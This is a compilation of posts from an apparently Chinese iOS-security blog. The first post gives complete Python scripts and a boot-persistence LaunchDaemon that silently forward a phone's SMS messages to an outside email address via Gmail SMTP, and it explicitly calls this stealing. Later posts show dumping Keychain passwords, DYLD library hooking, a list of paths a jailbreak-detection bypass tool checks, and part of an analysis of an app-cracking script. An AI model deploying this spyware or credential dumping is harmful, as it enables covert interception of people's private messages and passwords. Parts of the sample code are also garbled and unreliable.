碳基体

奋斗在产品安全第一线的安全妹子

iPhone上将短信内容发送到指定邮箱的方法

迄今为止,移动应用安全基本聚焦在以下几个方面,一是移动设备管理BYOD(bring your own device),二是移动恶意软件分析,三是移动设备用户隐私安全,四是移动操作系统内核漏洞挖掘。对普通用户而言,窃取用户隐私数据的恶意软件是很大的威胁。本篇文章旨在介绍一种如何将设备上的短信发送到指定邮箱中的方法,方法来自Forwarding SMS to Email on Jailbroken iOS


实验环境

1.iOS 5.1.1越狱设备

2. 通过cydia安装 python 2.7.3

3. 通过cydia安装SQLite 3.x

4. 通过Cydia安装adv-cmds


一、使用python脚本读取sms.db数据库中存储的短信内容

iOS 短信存储在系统的/var/mobile/Library/SMS/文件夹中,包含3个主要文件:

(1)sms.db,标准的SQLite 3格式,存储主要的短信数据

(2)sms.db-shm, "Associate File"

(3)sms.db-wal. “Write Ahead Log"

danimato-iPod:/var/mobile/Library/SMS root# file sms.db
sms.db: SQLite 3.x database

danimato-iPod:/var/mobile/Library/SMS root# file sms.db-shm
sms.db-shm: data

/var/mobile/Library/SMS root# file sms.db-wal
sms.db-wal: data

我们使用SQLite Database Browser打开sms.db,并执行查询语句,会发现如下错误

 于是,我们可以使用strings命令查看一下这个文件里面的内容(strings命令在初步分析文件时很有用)

danimato-iPod:/var/mobile/Library/SMS root# strings sms.db >smsdb

打开smsdb文件,可以看到短信message表结构,如下所示

CREATE TABLE message (ROWID INTEGER PRIMARY KEY AUTOINCREMENT, address TEXT, date INTEGER, text TEXT, flags INTEGER, replace INTEGER, svc_center TEXT, group_id INTEGER, association_id INTEGER, height INTEGER, UIFlags INTEGER, version INTEGER, subject TEXT, country TEXT, headers BLOB, recipients BLOB, read INTEGER, madrid_attributedBody BLOB, madrid_handle TEXT, madrid_version INTEGER, madrid_guid TEXT, madrid_type INTEGER, madrid_roomname TEXT, madrid_service TEXT, madrid_account TEXT, madrid_account_guid TEXT, madrid_flags INTEGER, madrid_attachmentInfo BLOB, madrid_url TEXT, madrid_error INTEGER, is_madrid INTEGER, madrid_date_read INTEGER, madrid_date_delivered INTEGER)

我们可以使用python脚本 smsDBQuer.py(注意:原脚本不支持中文,需要改变一下)来查询一下该表中的数据,如下所示输出未读短信数量及内容

#!/usr/bin/python
# smstest.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys
import smtplib

smspath="/var/mobile/Library/SMS/"

con = lite.connect(smspath+'sms.db')
msg=""


with con:
con.row_factory = lite.Row
cur = con.cursor()
cur.execute('SELECT text,adderss from message where read=0 order by date desc')
rows = cur.fetchall()
 #data = cur.fetchone()
counter=0
print "Latest displayed first"
for row in rows:
  counter+=1
  print "Unread Message: %s" % counter

              textencode = row["text"].encode('gb2312')
              print "Text: %s" % textencode

              addressdecode = row["address"].encode('gb2312')
              print "Address: %s" % addressdecode
  #print "Text: %s" % row["text"]
  msg=row["text"]

我们将smsDBQuery.py脚本上传到设备/var/mobile/Library/SMS/目录下

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsDBQuery.py

danimato-iPod:/var/mobile/Library/SMS root# python smsDBQuery.py

运行结果如下:

 


二、窃取iPhone短信信息

接下来演示如何将iPhone上短信信息转发到指定邮箱中

1. smsCreateTrigger.py脚本

#!/usr/bin/python
# smstrigger.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com

import sqlite3 as lite
import sys

smspath="/var/mobile/Library/SMS/"

con = lite.connect(smspath + 'sms.db')

with con:
con.row_factory = lite.Row
cur = con.cursor()
 
 #cur.execute('DROP TABLE message2;')
 #cur.execute('DROP TRIGGER insert_newest_message_email;')
cur.execute('CREATE TABLE message2 (ROWID INTEGER PRIMARY KEY, address TEXT, date INTEGER, text TEXT, emailsent INTEGER);')
cur.execute('CREATE TRIGGER insert_newest_message_email AFTER INSERT ON message WHEN new.ROWID >= 0 BEGIN INSERT INTO "message2" select ROWID,address,date,text,0 from message where ROWID=new.ROWID; END;')
print 'Done.'

我们将smsCreateTrigger.py上传到设备/var/mobile/Library/SMS/目录下,修改执行权限,并运行

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsCreateTrigger.py

danimato-iPod:/var/mobile/Library/SMS root# python smsCreateTrigger.py
Done.

该脚本的功能是当message表有记录增加时,将新增记录插入新创建的message2表中


2.smsWatcher.py 脚本

#!/usr/bin/python
# smsread.py
# by KrishnaChaitanya Yarramsetty
# www.foundstone.com



import sqlite3 as lite
import sys
import smtplib
import time


def sendEmail(msg):
 fromaddr = 'abc@gmail.com'
 toaddrs  = 'xyz@gmail.com'
 
 # Credentials
 username = 'abc'
 password = '****'

 # The actual mail send snippet
 server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()


#Set path for SMS directory
#smsfromaddress will be used a filter. filter restricts only to those sms that have FROM address as mentioned below. FROM addresses can be multiple as well.
#"address" is the column name.

smspath="/var/mobile/Library/SMS/"
smsfromaddress=('AXARWINF','6564567890',)

#Poll for any new messages waiting to be delivered in an infinite loop with 60 second interval. 
#though it is not one of the efficient methods, considering the purpose of the script it was taken for granted

while 1==1:
 #Connect to the database and read sms from 'message2' table.
con = lite.connect(smspath+'sms.db')
with con:
  con.row_factory = lite.Row
  cur = con.cursor()
  cur2 = con.cursor()
  cur.execute('SELECT * from message2 where emailsent=0 and address=?',smsfromaddress)
  rows = cur.fetchall()
  for row in rows:
   msg='Address is ' + row["address"] + '  Text Message is  ' + row["text"].encode('gb2312')   
   sendEmail(msg)
   ROWID = (row["ROWID"],)
   cur2.execute('UPDATE message2 SET emailsent=1 WHERE ROWID=?', ROWID)
  con.commit()
time.sleep(60)

该脚本的功能是将messge2表中指定短信发送到 指定邮箱中,我们需要修改脚本中用来接收SMS短信的邮箱相关信息

fromaddr = 'danqingdani@gmail.com' #发件人地址
toaddrs  = '335451997@qq.com' #收件人地址

username = 'danqingdani@gmail.com' #发件人邮箱名
password = '****'#发件人邮箱密码

server = smtplib.SMTP('smtp.gmail.com:587')#发件邮件服务器

smsfromaddress=('AXARWINF','6564567890',)#指定你想窃取的短信来自哪里

上传smsWatcher.py到设备/var/mobile/Library/SMS/目录下,修改执行权限,并在后台运行

danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher.py
danimato-iPod:/var/mobile/Library/SMS root# python smsWatcher.py &
[1] 4819

当运行上面两个脚本的iPhone有新的短信信息时,短信内容就会发送到你指定的邮箱中去了


3.设置脚本开机自动启动

上述脚本如果要常驻系统,开机自动启动,需要做以下设置,首先在/var/mobile/Library/SMS目录下编写一个bash脚本启动smsWatcher.py

danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
#!/bin/bash
python /var/mobile/Library/SMS/smsWatcher.py 

danimato-iPod:/var/mobile/Library/SMS root# cat smsWatcher
danimato-iPod:/var/mobile/Library/SMS root# chmod +x smsWatcher

然后在/System/Library/LaunchDaemons目录下编写一个plist配置文件,配置开机自动启动

danimato-iPod:/System/Library/LaunchDaemons root# cat com.dani.smssteal.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.dani.smssteal</string>
        <key>Program</key>
        <string>/var/mobile/Library/SMS/smsWatcher</string>
        <key>RunAtLoad</key>
        <true/>
</dict>
</plist>

danimato-iPod:/System/Library/LaunchDaemons root# launchctl load /System/Library/LaunchDaemons/com.dani.smssteal.plist

有iPhone的朋友可以试一试,欢迎交流


参考资料:

https://blog.opensecurityresearch.com/2013/02/forwarding-sms-to-email-on-jailbroken.html

来源:碳基体

keychain-dumper安装与使用

iOS操作系统(包括mac),采用keychain数据库来存储敏感数据(例如wifi热点信息,邮箱信息等),keychain数据库位于iOS系统的/var/Keychains/keychain-2.db下,数据库中的内容是加密的,并且不同应用之间的数据存储是隔离的。但这样的处理并不安全,下面就要介绍一种可以查看其中内容的工具——keychain-dumper


一、安装准备条件

1. 越狱设备

2. SSH

SSH服务端:iOS设备上安装openssh (Cydia中搜索),开启SSH服务

SSH客户端:PC上安装SSH客户端软件(SecureCRT比较好),远程连接iOS设备。

由于我的PC机与iOS设备处于隔离网段,因此我采用的USB连接方式(itunnel mux+ SecureCRT)

 itunnel_mux.exe --lport 1234

 ssh -p 1234 root@127.0.0.1

3.APT(cydia中搜索)

4. /var/Keychains/keychain-2.db的文件属性为可读

 

二、安装

第一步:安装git

apt-get install git

第二步:下载keychain-dump

cd /tmp

git clone git://github.com/ptoomey3/Keychain-Dumper.git

cp /tmp/Keychain-Dumper/keychain_dumper /bin/keychain_dumper

chmod +x /bin/keychain_dumper


三、使用

1. 帮助命令

keychain_dump -h

  2.最常用的,导出密码

keychain_dumper

或者

keychain_dumper -gn

例如微博密码

 

例如wifi热点密码

 

例如邮箱帐号密码

 

注意:在使用keychain_dumper的时候,最好让iOS设备处于解锁状态,因为keychain-2.db中部分数据需要设备解锁才能查看

来源:碳基体

iOS设备安装Metasploit Framework的方法

原文:Mobile Pwning:Using Metasploit on iOS

Metasploit是我最喜欢的安全工具,没有之一,现在介绍如何在iOS设备上安装它。


一、安装准备条件

1. 越狱设备

2. SSH

SSH服务端:iOS设备上安装openssh (Cydia中搜索),开启SSH服务

SSH客户端:PC上安装SSH客户端软件(SecureCRT比较好),远程连接iOS设备。

由于我的PC机与iOS设备处于隔离网段,因此我采用的USB连接方式(itunnel mux+ SecureCRT)

 itunnel_mux.exe --lport 1234

 ssh -p 1234 root@127.0.0.1

3.APT(cydia中搜索)


二、正式安装

第一步:更新系统与安装wget与subversion

 apt-get update && apt-get dist-upgrade

 apt-get install wget subversion

第二步:安装ruby与Metasploit Frame依赖包

 wget https://ininjas.com/repo/debs/ruby_1.9.2-p180-1-1_iphoneos-arm.deb

 wget https://ininjas.com/repo/debs/iconv_1.14-1_iphoneos-arm.deb

 wget https://ininjas.com/repo/debs/zlib_1.2.3-1_iphoneos-arm.deb

 dpkg -i iconv_1.14-1_iphoneos-arm.deb

 dpkg -i zlib_1.2.3-1_iphoneos-arm.deb

 dpkg -i ruby_1.9.2-p180-1-1_iphoneos-arm.deb

安装结束后,为了节省空间,你可以删除这些安装包,注意:*表示上面的安装包,记得不要把有用的deb都删除掉了

 rm -rf *.deb 

检测ruby是否安装成功,查看ruby版本信息

 ruby -v

第三步:安装metasploit framework

 cd /private/var

 svn co https://www.metasploit.com/svn/framework3/trunk/  msf3

运行msf

 cd mfs3/

 ruby msfconsole


三、后记

最好在ipad和iPhone上安装,itouch就算了,系统空间小,会无法运行msf。其实,在iOS设备上安装MSF的方法早在去年网上就有攻略了,那个时候是MSF4.3版本,安装依赖包还是采用的apt.saurik.com/cydia/debs源。



参考资料:

Mobile Pwning:Using Metasploit on iOS

来源:碳基体

Mac hook——DYLD_INSERT_LIBRARIES

 Mac可以通过设置DYLD_INSERT_LIBRARIES环境变量(linux上对应的环境变量是LD_PRELOAD ,效果实例可见 Android hook——LD_PRELOAD),重写动态链接库中的函数,实现hook功能。


以下是演示实例


一、替换动态链接库中的c函数

实例一:使用openhook.dylib中的f() 替换原始动态链接库mysharedlib.dylib中的f() 。实例来源


(一)、源文件

1. mysharedlib.h

void f();

2. mysharedlib.c

#include <stdio.h>
#include "mysharedlib.h"

void f(){
printf("hello,dani \n");
}

3. main.c

#include <stdio.h>
#include "mysharedlib.h"

int main(){
f();
return 0;
}

4. openhook.c

#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
#include "mysharedlib.h"

typedef void (*fType) ();
static void (*real_f)()=NULL;

void f(){
if (! real_f){
void * handle = dlopen("mysharedlib.dylib", RTLD_NOW);
real_f = (fType) dlsym(handle,"f");

if(! real_f) printf("NG");
}
printf("--------zz------");

real_f();
}

关键函数:

dlopen函数原型,void * dlopen( const char * pathname, int mode),pathname是指定动态链接库地址,mode是打开模式

dlsym函数原型,void* dlsym(void* handle,const char* symbol),handle是由dlopen打开动态链接库后返回的指针,symbol是指定获取的符号名,对c语言而言,符号名就是函数名,我们可以使用nm查看mysharedlib.dylib

dani-2:testC leedani$ nm mysharedlib.dylib
0000000000000f20 T _f
                 U _puts
                 U dyld_stub_binder


(二)、 编译

1. 生成mysharedlib.dylib, 该动态链接库的功能就是f(),打印“hello,dani”

gcc -dynamiclib -o mysharedlib.dylib mysharedlib.c

dynamiclib选项是指生成动态链接库


2. 编译mysharedlib.dylib与main.c文件,生成最终的可执行文件

gcc mysharedlib.dylib main.c -o main

3. 生成openhook.dylib,该动态链接库的功能就是替换mysharedlib.dylib中的f()

gcc -flat_namespace -dynamiclib -o openhook.dylib openhook.c

flat_namespace选项指定了链接模式,有两种模式,flat-namespacetwo-level namespace,模式不一样生成的符号表也会不一样(具体区别)。

实例中mysharedlib.dylib没有采用该选项,而openhook.dylib采用了该选项,我们可以查看以下这两个文件的头结构,来对比一下

dani-2:testC leedani$ otool -hV mysharedlib.dylib
mysharedlib.dylib:
Mach header
      magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64  X86_64        ALL  0x00       DYLIB    13       1200   NOUNDEFS DYLDLINK TWOLEVEL NO_REEXPORTED_DYLIBS

dani-2:testC leedani$ otool -hV openhook.dylib
openhook.dylib:
Mach header
      magic cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64  X86_64        ALL  0x00       DYLIB    13       1272 DYLDLINK NO_REEXPORTED_DYLIBS

(三)、 运行

1. 正常的运行结果

dani-2:test leedani$ ./main
hello,dani

2. Hook后的运行结果

通过设置环境变量DYLD_INSERT_LIBRARIES(linux上对应的环境变量是LD_PRELOAD ,效果实例可见 Android hook——LD_PRELOAD

dani-2:test leedani$ export DYLD_FORCE_FLAT_NAMESPACE=1
dani-2:test leedani$ export DYLD_INSERT_LIBRARIES=openhook.dylib
dani-2:test leedani$ ./main
--------zz------hello,dani

DYLD_INSERT_LIBRARIES与DYLD_FORCE_FLAT_NAMESPACE环境变量在apple官方手册中有说明,如下所示:

 

实例二:替换系统动态链接库中的函数,如下所示替换/usr/lib/libSystem.dylib中的time函数

实例来源

(一)、源码

time .c

#include <sys/time.h>

//This function will override the one in /usr/lib/libSystem.dylib

time_t time(time_t *tloc){
//January 1st,2013
struct tm timeStruct;
timeStruct.tm_year= 2013-1900;
timeStruct.tm_mon = 0;
timeStruct.tm_mday = 1;
timeStruct.tm_hour = 0;
timeStruct.tm_min = 0;
timeStruct.tm_sec = 0;
timeStruct.tm_isdst = -1;

*tloc = mktime(&timeStruct);

return *tloc;
}


(二)、编译

gcc -flat_namespace -dynamiclib -current_version 1.0 time.o -o libTime.dylib


(三)、运行

1. 正常的运行结果

dani-2:test leedani$ date
2013年 2月 1日 星期五 14时46分16秒 CST

2.替换系统函数后的运行结果

dani-2:test leedani$ export DYLD_FORCE_FLAT_NAMESPACE=1
dani-2:test leedani$ export DYLD_INSERT_LIBRARIES=libTime.dylib

dani-2:test leedani$ date
2013年 1月 1日 星期二 00时00分00秒 CST


二、 替换动态链接库中的c++ 类方法

实例来源

(一)、源码

1. mysharedlib.h

class AAA
{
public:
int m;

AAA()
{
m = 1234;
}

void fff(int a);
};

2. mysharedlib.cpp

#include <stdio.h>
#include "mysharedlib.h"

void AAA::fff(int a)
{

printf("-- Original: %d --", a);

}

3. main.cpp

#include <stdio.h>
#include "mysharedlib.h"

int main()
{

AAA a;

printf("---------main1-------\n");

a.fff(50);

printf("\n---------main2-------\n");

return 0;
}

4. openhook.cpp

#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
#include "mysharedlib.h"

typedef void (*AAAfffType)(AAA*,int);
static void (*real_AAAfff)(AAA*,int);

extern "C"
{

void _ZN3AAA3fffEi(AAA* a, int b)
{

printf("---------AAA::fff------\n");
printf("%d,%d \n",b,a->m);

void * handle = dlopen("mysharedlib.dylib", RTLD_NOW);

real_AAAfff = (AAAfffType)dlsym(handle, "_ZN3AAA3fffEi");

if(real_AAAfff) printf("OK");

real_AAAfff(a,b);
}
}

关键函数:

dlopen函数原型,void * dlopen( const char * pathname, int mode),pathname是指定动态链接库地址,mode是打开模式

dlsym函数原型,void* dlsym(void* handle,const char* symbol),handle是由dlopen打开动态链接库后返回的指针,symbol是指定获取的符号名,对c++语言而言,由于存在name mangling,符号名不再是函数名了,编译器不同生成的符号名也会有所区别,我们可以使用nm查看mysharedlib.dylib

dani-2:testCPP leedani$ nm mysharedlib.dylib
0000000000000f0c T __ZN3AAA3fffEi
                 U _printf
                 U dyld_stub_binder

使用关键字extern "C"是为了防止符号名被mangle,使其可以像c一样被dlsym加载,具体的如何在unix环境下使用dlopen 动态加载c++类函数可以看这篇文章《c++ dlopen mini HOWTO


(二)、编译

1. 生成mysharedlib.dylib, 该动态链接库的功能就是f(),打印“hello,dani”

gcc -dynamiclib -lstdc++ -o mysharedlib.dylib mysharedlib.cpp

2. 编译mysharedlib.dylib与main.c文件,生成最终的可执行文件

gcc -lstdc++ mysharedlib.dylib main.cpp -o main

3. 生成openhook.dylib,该动态链接库的功能就是替换mysharedlib.dylib中的f()

gcc -flat_namespace -dynamiclib -lstdc++ -o openhook.dylib openhook.cpp

(三)、运行

1. 正常运行

dani-2:testCPP leedani$ ./main
---------main1-------
-- Original: 50 --
---------main2-------

2. hook后的结果,通过设置环境变量DYLD_INSERT_LIBRARIESdani-2:test leedani$ export DYLD_FORCE_FLAT_NAMESPACE=1
dani-2:test leedani$ export DYLD_INSERT_LIBRARIES=openhook.dylib
dani-2:testCPP leedani$ ./main
---------main1-------
---------AAA::fff------
50,1234
OK
-- Original: 50 --
---------main2-------
三、小结这种通过设置环境变量DYLD_INSERT_LIBRARIES,动态加载函数、类方法来实现使用自己编写的动态连接库dylib来patch运行中的应用的手段,是外挂、MobileSubstrate插件的主要原理,推广到PC windows平台(dll hook),Android平台(linux平台)(so hook),iOS平台(mac平台)(dylib hook),可以说动态加载技术奠定了软件patch的基础,需要深入了解。

 参考:

https://koichitamura.blogspot.com/2008/11/hooking-library-calls-on-mac.html

https://hactheplanet.com/blog/80

https://developer.apple.com/library/mac/#documentation/Darwin/Reference/Manpages/man1/dyld.1.html

https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man3/dlopen.3.html

https://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man3/dlsym.3.html

https://developer.apple.com/library/mac/#documentation/developertools/conceptual/MachOTopics/1-Articles/executing_files.html

来源:碳基体

越狱检测/越狱检测绕过——xCon

一直忽略了越狱检测与越狱检测绕过的问题,因为我认为在app争抢装机率的环境下,是不会在乎对方的设备越狱与否的。但很显然,我忽略了一个问题,app在设计的时候或许会依照设备是否越狱而采取不同的流程,比如说对越狱的设备采取更多的安全措施,在这种场景下,越狱检测是否可靠就成为了关键问题。本篇文章主要介绍越狱检测的常见方法(并配有相应的测试代码),以及最流行的越狱检测绕过插件xCon(会分析该工具会绕过哪些检测方法),最后总结了个人认为的比较可靠的越狱检测方法。


一、越狱检测

(一)《Hacking and Securing iOS Applications》这本书的第13章介绍了以下方面做越狱检测


1. 沙盒完整性校验

根据fork()的返回值判断创建子进程是否成功

(1)返回-1,表示没有创建新的进程

(2)在子进程中,返回0

(3)在父进程中,返回子进程的PID

沙盒如何被破坏,则fork的返回值为大于等于0.

 

我在越狱设备上,尝试了一下,创建子进程是失败,说明不能根据这种方法来判断是否越狱。xCon对此种方法有检测

代码如下:



2. 文件系统检查

(1)检查常见的越狱文件是否存在

以下是最常见的越狱文件。可以使用stat函数来判断以下文件是否存在

/Library/MobileSubstrate/MobileSubstrate.dylib 最重要的越狱文件,几乎所有的越狱机都会安装MobileSubstrate

/Applications/Cydia.app/ /var/lib/cydia/绝大多数越狱机都会安装

/var/cache/apt /var/lib/apt /etc/apt

/bin/bash /bin/sh

/usr/sbin/sshd /usr/libexec/ssh-keysign /etc/ssh/sshd_config 

代码如下

   

(1)返回0,表示指定的文件存在

(2)返回-1,表示执行失败,错误代码存于errno中

错误代码:
    ENOENT         参数file_name指定的文件不存在
    ENOTDIR        路径中的目录存在但却非真正的目录
    ELOOP          欲打开的文件有过多符号连接问题,上限为16符号连接
    EFAULT         参数buf为无效指针,指向无法存在的内存空间
    EACCESS        存取文件时被拒绝
    ENOMEM         核心内存不足
    ENAMETOOLONG   参数file_name的路径名称太长


struct stat {
    dev_t         st_dev;       //文件的设备编号
    ino_t         st_ino;       //节点
    mode_t        st_mode;      //文件的类型和存取的权限
    nlink_t       st_nlink;     //连到该文件的硬连接数目,刚建立的文件值为1
    uid_t         st_uid;       //用户ID
    gid_t         st_gid;       //组ID
    dev_t         st_rdev;      //(设备类型)若此文件为设备文件,则为其设备编号
    off_t         st_size;      //文件字节数(文件大小)
    unsigned long st_blksize;   //块大小(文件系统的I/O 缓冲区大小)
    unsigned long st_blocks;    //块数
    time_t        st_atime;     //最后一次访问时间
    time_t        st_mtime;     //最后一次修改时间
    time_t        st_ctime;     //最后一次改变时间(指属性)
};

该方法最简单,也是流程最广的,但最容易被破解。在使用该方法的时候,注意使用底层的c函数 stat函数来判断以下路径名,路径名做编码处理(不要使用base64编码),千万不要使用NSFileManager类,会被hook掉


(2) /etc/fstab文件的大小

该文件描述系统在启动时挂载文件系统和存储设备的详细信息,为了使得/root文件系统有读写权限,一般会修改该文件。虽然app不允许查看该文件的内容,但可以使用stat函数获得该文件的大小。在iOS 5上,未越狱的该文件大小未80字节,越狱的一般只有65字节。

代码如下

 

在安装了xCon的越狱设备上运行,result的大小为803705776 ;卸载xCon后在越狱设备上运行,result的大小为66

        


个人觉得该方法不怎么可靠,并且麻烦,特别是在app在多个iOS版本上运行时。xCon对此种方法有检测,不能采用这种办法


(3)检查特定的文件是否是符号链接文件

iOS磁盘通常会划分为两个分区,一个只读,容量较小的系统分区,和一个较大的用户分区。所有的预装app(例如appstore)都安装在系统分区的/Application文件夹下。在越狱设备上,为了使得第三方软件可以安装在该文件夹下同时又避免占用系统分区的空间,会创建一个符号链接到/var/stash/下。因此可以使用lstat函数,检测/Applications的属性,看是目录,还是符号链接。如果是符号链接,则能确定是越狱设备。

以下列出了一般会创建符号链接的几个文件,可以检查以下文件

 代码如下:

 

没有检测过未越狱设备的情况,所以不好判断该方法是否有效


(二)https://theiphonewiki.com/wiki/index.php?title=Bypassing_Jailbreak_Detection 给出了以下6种越狱监测方法


1、检测特定目录或文件是否存在

检测文件系统是否存在越狱后才会有的文件,例如/Applications/Cydia.app, /privte/var/stash

一般采用NSFileManager类的- (BOOL)fileExistsAtPath:(NSString *)path方法(很容易被hook掉)

或者采用底层的C函数,例如fopen(),stat() or access()

《Hacking and Securing iOS Applications》的方法2文件系统检查相同

xCon对此种方法有检测


2、检测特定目录或文件的文件访问权限

检测文件系统中特定文件或目录的unix文件访问权限(还有大小),越狱设备较之未越狱设备有太多的目录或文件具备写权限

一般采用NSFileManager类的- (BOOL)isWritableFileAtPath:(NSString *)path(很容易被hook掉)

或者采用底层的C函数,例如statfs()

xCon对此种方法有检测


3、检测是否能创建子进程

检测能否创建子进程,在非越狱设备上,由于沙箱保护机制,是不允许进程的

可以调用一些会创建子进程的C函数,例如fork(),popen()

《Hacking and Securing iOS Applications》的方法1沙盒完整性检查相同

xCon对此种方法有检测


4、检测能否执行ssh本地连接

检测能否执行ssh本地连接,在绝大多数的非越狱设备上,一般会安装OpenSSH(ssh服务端),如果能检测到ssh 127.0.0.1 -p 22连接成功,则说明为越狱机

xCon对此种方法有检测


5、检测system()函数的返回值

检测system()函数的返回值,调用sytem()函数,不要任何参数。在越狱设备上会返回1,在非越狱设备上会返回0


sytem()函数如果不要参数会报错

 


6、检测dylib(动态链接库)的内容

这种方法是目前最靠谱的方法,调用_dyld_image_count()和_dyld_get_image_name()来看当前有哪些dylib被加载

测试结果: 

使用下面代码就可以知道目标iOS设备加载了哪些dylib

#include <string.h>

#import <mach-o/loader.h>

#import <mach-o/dyld.h>

#import <mach-o/arch.h>


void printDYLD()

{

    //Get count of all currently loaded DYLD


    uint32_t count = _dyld_image_count();


    for(uint32_t i = 0; i < count; i++)


    {


        //Name of image (includes full path)


        const char *dyld = _dyld_get_image_name(i);

        

        //Get name of file


        int slength = strlen(dyld);

        

        int j;


        for(j = slength - 1; j>= 0; --j)


            if(dyld[j] == '/') break;

       

        printf("%s\n",  dyld);


    }


    printf("\n");


}


int main(int argc, char *argv[])

{


    printDYLD();


    NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];


    int retVal = UIApplicationMain(argc, argv, nil, nil);


    [pool release];


    return retVal;


}

下图显示了我的iOS设备当前加载的dylib的路径,最下面就可以看到xCon

 

此种方法存在一个问题,是否能通过app store审核呢?


二、越狱检测绕过——xCon

可以从Cydia中安装,是目前为止最强大的越狱检测工具。由n00neimp0rtant与Lunatik共同开发,它据说patch了目前所知的所有越狱检测方法(也有不能patch的应用)。估计是由于影响太大了,目前已不开放源码了。


安装xCon后,会有两个文件xCon.dylib与xCon.plist出现在设备/Library/MobileSubstrate/DynamicLibraries目录下


(1)xCon.plist

该文件为过滤文件,标识在调用com.apple.UIKit时加载xCon.dylib

 

(2) xCon.dylib

可以使用otool工具将该文件的text section反汇编出来从而了解程序的具体逻辑(在windows下可以使用IDA Pro查看)

DANI-LEE-2:iostools danqingdani$ otool -tV xCon.dylib >xContextsection 

可以根据文件中的函数名,同时结合该工具的原理以及越狱检测的一些常用手段(文章第一部分有介绍)来猜其逻辑,例如越狱检测方法中的文件系统检查,会根据特定的文件路径名来匹配,我们可以使用strings查看文件中的内容,看看会有哪些文件路径名。

DANI-LEE-2:IAP tools danqingdani$ strings xCon.dylib >xConReadable

以下是xCon中会匹配的文件名

/usr/bin/sshd
/usr/libexec/sftp-server
/usr/sbin/sshd

/bin/bash
/bin/sh
/bin/sw
/etc/apt
/etc/fstab
/Applications/blackra1n.app
/Applications/Cydia.app
/Applications/Cydia.app/Info.plist
/Applications/Cycorder.app
/Applications/Loader.app
/Applications/FakeCarrier.app
/Applications/Icy.app
/Applications/IntelliScreen.app
/Applications/MxTube.app
/Applications/RockApp.app
/Applications/SBSettings.app
/Applications/WinterBoard.app
/bin/bash/Applications/Cydia.app
/Library/LaunchDaemons/com.openssh.sshd.plist
/Library/Frameworks/CydiaSubstrate.framework
/Library/MobileSubstrate
/Library/MobileSubstrate/
/Library/MobileSubstrate/DynamicLibraries
/Library/MobileSubstrate/DynamicLibraries/
/Library/MobileSubstrate/DynamicLibraries/LiveClock.plist
/Library/MobileSubstrate/DynamicLibraries/Veency.plist
/Library/MobileSubstrate/DynamicLibraries/xCon.plist
/private/var/lib/apt
/private/var/lib/apt/
/private/var/lib/cydia
/private/var/mobile/Library/SBSettings/Themes
/private/var/stash
/private/var/tmp/cydia.log
/System/Library/LaunchDaemons/com.ikey.bbot.plist
/System/Library/LaunchDaemons/com.saurik.Cydia.Startup.plist

NzI0MS9MaWJyYXJ5L01vYmlsZVN1YnN0cmF0ZQ==  (对应7241/Library/MobileSubstrate)

通过分析,xCon会绕过以下越狱检测方法

       (1)    根据是否存在特定的越狱文件,及特定文件的权限是否发生变化来判断设备是否越狱

fileExistsAtPath:

  

fileExistsAtPath:isDirectory:

  

filePermission:

  

fileSystemIsValid:

  

checkFileSystemWithPath:forPermissions:

mobileSubstrateWorkaround

detectIllegalApplication:

(2)       根据沙箱完整性检测设备是否越狱

canUseFork 

  • 根据文件系统的分区是否发生变化来检测设备是否越狱
  • partitionsModified 

  • 根据是否安装ssh来判断设备是否越狱
  

ssh root@127.0.0.1


三、总结

总之,要做好越狱检测,建议使用底层的c语言函数进行,用于越狱检测的特征字符也需要做混淆处理,检测函数名也做混淆处理。第一部分介绍的以下三种方法,可以尝试一下

(1)检查常见的越狱文件是否存在,使用stat(),检查以下文件是否存在

/Library/MobileSubstrate/MobileSubstrate.dylib 最重要的越狱文件,几乎所有的越狱机都会安装MobileSubstrate

/Applications/Cydia.app/ /var/lib/cydia/绝大多数越狱机都会安装

/var/cache/apt /var/lib/apt /etc/apt

/bin/bash /bin/sh

/usr/sbin/sshd /usr/libexec/ssh-keysign /etc/ssh/sshd_config 

(2)检查特定的文件是否是符号链接文件,使用lstat(),检查以下文件是否为符号链接文件

/Applications

/Library/Ringtones

/Library/Wallpaper

/usr/include

/usr/libexec

/usr/share


   (3)检差dylib(动态链接库)的内容,使用_dyld_image_count与_dyld_get_image_name,检查是否包含越狱插件的dylib文件


参考:

https://theiphonewiki.com/wiki/index.php?title=XCon

https://theiphonewiki.com/wiki/index.php?title=Bypassing_Jailbreak_Detection


来源:碳基体

PoedCrackMod源码分析

由于lofter有长度限制,完整源码见

https://danqingdani.blog.163.com/blog/static/18609419520129261354800/

关键步骤解说(以crack arm6+arm7 on arm7 devices的完整过程为例
第一步:提取出mach-o文件中armv6部分lipo -thin armv6 "$WorkDir/$AppName/$AppExec" -output "$WorkDir/$AppName/IWantYourSix"
第二步:提取出mach-o文件中armv7部分方法一:交换armv6和armv7 头部echo -ne "\x09" | dd bs=1 seek=15 conv=notrunc  of="$WorkDir/$AppName/$AppExec"
 

将第16个字节处的06变成09

echo -ne "\x06" | dd bs=1 seek=35 conv=notrunc  of="$WorkDir/$AppName/$AppExec" 

将第36个字节处的09变成06

如下图所示,右边为原始mach-o文件,经过上面两步,我们发现第16个字节处由06变成09,第36个字节处由09变成06

 提取mach-o中armv7部分

lipo -thin armv6 "$WorkDir/$AppName/$AppExec" -output "$WorkDir/$AppName/SevenTrumpets"


方法二:

 lipo -thin armv7 "$WorkDir/$AppName/$AppExec" -output "$WorkDir/$AppName/SevenTrumpets"


第三步:获得cryptid,cryptsize,cryptoffset等重要数值

